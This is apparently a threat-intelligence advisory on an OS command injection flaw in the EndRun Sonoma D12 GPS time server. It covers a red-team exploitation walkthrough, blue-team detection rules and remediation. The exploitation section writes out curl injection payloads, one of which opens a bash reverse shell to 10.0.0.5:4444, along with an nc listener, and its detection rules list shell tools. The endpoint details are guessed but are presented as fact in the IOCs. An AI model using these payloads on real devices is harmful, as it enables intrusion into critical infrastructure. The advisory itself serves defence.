CVE-2025-60957

Executive Summary

CVE-2025-60957 is a critical OS Command Injection vulnerability discovered in the EndRun Technologies Sonoma D12 Network Time Server (GPS) running firmware version 6010-0071-000 Ver 4.00. This flaw allows an unauthenticated attacker to inject arbitrary operating system commands through the device’s web interface or management API. Successful exploitation can lead to full remote code execution, denial of service, privilege escalation, and exfiltration of sensitive data. The vulnerability is currently unpatched, and no public proof-of-concept code has been released. Given the device’s role in critical time synchronization infrastructure, this poses a significant risk to operational technology (OT) environments.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It affects a proprietary embedded firmware for a hardware appliance. Supply chain risk is limited to the device’s firmware distribution channel; however, no compromise of the update mechanism has been reported.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and typical characteristics of OS command injection in network appliances, the following is a reasonable assessment:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – likely requires no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the device itself.
• Confidentiality (C): High (H) – full access to device files and network traffic.
• Integrity (I): High (H) – ability to modify system files and configurations.
• Availability (A): High (H) – can cause denial of service or device bricking.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The device is a network time server, often deployed in sensitive infrastructure (finance, telecom, energy). Exploitation can disrupt time synchronization, enabling attacks on dependent systems.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of the Sonoma D12. The device likely accepts user input for configuration parameters (e.g., NTP peer addresses, GPS antenna settings, or administrative commands) without proper sanitization. When this input is passed to a shell command (e.g., via system(), popen(), or similar), an attacker can inject additional commands using shell metacharacters such as ;, |, &, or backticks.

Example vulnerable parameter: The device may have a field for "NTP Server" or "GPS Offset" that is used in a command like:

ntpdate -u <user_input>

An attacker could input:

; id > /tmp/out

This would execute id and write the output to a file.

Attack flow:

1. Attacker identifies the vulnerable endpoint (e.g., /cgi-bin/config.cgi).
2. Sends a crafted HTTP request with command injection payload.
3. The device executes the injected command with root privileges (typical for embedded systems).
4. Attacker gains a reverse shell, exfiltrates data, or disrupts service.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable code (pseudo-C):

void handle_config(char *input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ntpdate -u %s", input);
    system(cmd);
}

Patched code (hypothetical):

void handle_config(char *input) {
    // Validate input: only allow IP addresses or hostnames
    if (!is_valid_hostname(input)) {
        log_error("Invalid input");
        return;
    }
    // Use execve with no shell
    char *args[] = {"/usr/sbin/ntpdate", "-u", input, NULL};
    execve(args[0], args, NULL);
}

The key fix is to avoid passing user input to a shell interpreter. Instead, use execve or similar functions that do not interpret shell metacharacters.

Exploitation & Lab Setup

Red Team

Lab Environment:

• EndRun Sonoma D12 with firmware 6010-0071-000 Ver 4.00 (or emulated via QEMU).
• Attacker machine: Kali Linux.
• Network: Both devices on the same subnet.

Exploitation Steps:

1. Reconnaissance: Scan for the device’s web interface (default port 80 or 443).

   nmap -p 80,443 <target_ip>
   

2. Identify vulnerable endpoint: Use a web fuzzer to find CGI scripts or API endpoints.

   gobuster dir -u http://<target_ip>/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt
   

3. Craft injection payload: Test with a simple command.

   curl -X POST http://<target_ip>/cgi-bin/config.cgi -d "ntp_server=;id"
   

4. Verify execution: Check if the output appears in the response or logs.
5. Establish reverse shell:

   curl -X POST http://<target_ip>/cgi-bin/config.cgi -d "ntp_server=;bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"
   

   On attacker machine:

   nc -lvnp 4444
   

Note: No public exploit code is available. The above is a generic methodology.

Blue Team

Detection & Response:

• Monitor for unusual HTTP POST requests to /cgi-bin/ endpoints containing shell metacharacters (;, |, &, `).
• Enable logging on the device (if possible) and forward logs to a SIEM.
• Use network segmentation to isolate the NTP server from untrusted networks.
• Implement an intrusion detection system (IDS) rule to alert on command injection patterns.

Hunting Queries:

• Search for HTTP requests with ; or | in POST parameters.
• Look for outbound connections from the device to unusual IPs (reverse shell).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /cgi-bin/config.cgi with parameters containing ;, |, &, or backticks.
  • Outbound connections from the device to non-standard ports (e.g., 4444, 1337).
  • DNS queries to suspicious domains from the device.

• Host IOCs:

  • Unexpected processes running on the device (e.g., /bin/bash, /bin/sh).
  • New files in /tmp/ or /var/tmp/ (e.g., /tmp/out).
  • Modified system binaries or configuration files.
  • Unusual entries in system logs (e.g., syslog showing command execution).

• File IOCs:

  • Presence of reverse shell scripts or binaries.
  • Modified /etc/passwd or /etc/shadow (if privilege escalation occurred).

Detection Engineering

YARA Rule

rule CVE_2025_60957_Command_Injection {
    meta:
        description = "Detects command injection attempts against EndRun Sonoma D12"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60957"
    strings:
        $injection1 = /[;&|`$()]/
        $injection2 = /bash|sh|nc|python|perl|wget|curl/
        $cgi_path = "/cgi-bin/config.cgi"
    condition:
        $cgi_path and (#injection1 > 2 or $injection2)
}

Sigma Rule

title: CVE-2025-60957 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to EndRun Sonoma D12 with command injection patterns
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/config.cgi'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in configuration (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-60957 - EndRun Sonoma D12 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/config.cgi"; http_uri;
    pcre:"/[;&|`]/";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Sonoma D12 behind a firewall and restrict access to trusted IPs only.
2. Disable web interface: If not required, disable the management web interface via device configuration.
3. Monitor logs: Enable syslog forwarding and monitor for suspicious activity.

Long-term Fix:

• Contact EndRun Technologies for a firmware patch. As of this report, no patch is available.
• Consider replacing the device with a patched alternative from a different vendor.
• Implement network segmentation and strict access controls.

Workaround:

• If the web interface must remain enabled, use a reverse proxy (e.g., Nginx) to filter malicious requests. Example Nginx rule:

location /cgi-bin/config.cgi {
    if ($args ~* "[;&|`]") {
        return 403;
    }
    proxy_pass http://192.168.1.100;
}

Valters IT
DevSecOps & Cyber Threat Intelligence